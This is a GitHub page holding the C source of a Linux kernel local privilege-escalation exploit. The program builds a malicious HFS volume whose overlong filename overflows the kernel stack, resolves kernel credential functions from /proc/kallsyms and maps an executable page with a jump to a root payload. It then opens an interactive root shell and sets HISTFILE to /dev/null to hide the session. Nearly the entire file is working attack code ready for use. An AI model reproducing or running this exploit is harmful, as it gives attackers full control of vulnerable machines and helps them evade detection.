Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with
or
.
Download ZIP
tree: 0595785db7
174 lines (157 sloc) 4.358 kB
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <dirent.h>
#include <syscall.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
// Spender's kernel sym code
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, "[+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
volatile int got_root = 0;
void root()
{
commit_creds(prepare_kernel_cred(0));
got_root = 1;
}
void build_volume()
{
if (getuid()) {
printf("[-] You must be root to build the malicious volume. Do this on another computer you control.\n");
exit(-1);
}
printf("[+] Building malicious HFS volume at /tmp/evilhfs.\n");
system("dd if=/dev/zero of=/tmp/evilhfs count=2048");
system("mkfs.hfs -h /tmp/evilhfs");
system("mkdir -v /tmp/evilhfsmount");
system("mount -v -t hfs /tmp/evilhfs /tmp/evilhfsmount");
system("touch /tmp/evilhfsmount/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
system("umount -v /tmp/evilhfsmount");
system("rmdir -v /tmp/evilhfsmount");
printf("[+] Modifying volume.\n");
FILE *hfs = fopen("/tmp/evilhfs", "r+");
if (!hfs) {
perror("fopen");
exit(-1);
}
fseek(hfs, 0x2AA0, SEEK_SET);
fputc(0xFF, hfs); // Make the length 255
fseek(hfs, 0x2B00, SEEK_SET);
for (int i = 0; i < 128; ++i)
fputc('A', hfs); // Write an A, which is 0x41
fclose(hfs);
}
void main(int argc, char *argv[])
{
if (argc == 2 && strcmp(argv[1], "-b") == 0) {
build_volume();
return;
}
printf("[+] Resolving kernel symbols.\n");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if (!commit_creds || !prepare_kernel_cred) {
printf("[-] Failed to resolve kernel symbols.\n");
exit(-1);
}
printf("[+] Mmaping ascii page.\n");
void *location = mmap((void*)0x40404000, sysconf(_SC_PAGE_SIZE), PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_SHARED, -1, 0);
if ((long)location < 0) {
perror("[-] mmap");
exit(-1);
}
printf("[+] Adding jmp to pwnage at 0x40404040.\n");
for (unsigned long i = 0x40404000; i <= 0x40404040; ++i)
*(char*)i = 0x90; // nop
*(char*)0x40404041 = 0xe9; // jmp
*(unsigned long*)0x40404042 = (unsigned long)&root;
printf("[+] Enter the mount point of the malicious HFS volume: ");
char mountpoint[256];
// For good measure, I'm including a stack overflow inside of a stack overflow exploit. Have fun kids.
gets(mountpoint);
printf("[+] Reading directory to trigger overflow.\n");
DIR *dir = opendir(mountpoint);
if (!dir) {
perror("opendir");
exit(-1);
}
while(readdir(dir));
printf("[+] Triggering clobbered function pointer.\n");
syscall(__NR_restart_syscall);
if (!got_root) {
printf("[-] Failed to get root.\n");
exit(-1);
}
setuid(0);
setgid(0);
setenv("HISTFILE", "/dev/null", 1);
execl("/bin/sh", "sh", "-i", NULL);
}
Jump to Line
Something went wrong with that request. Please try again.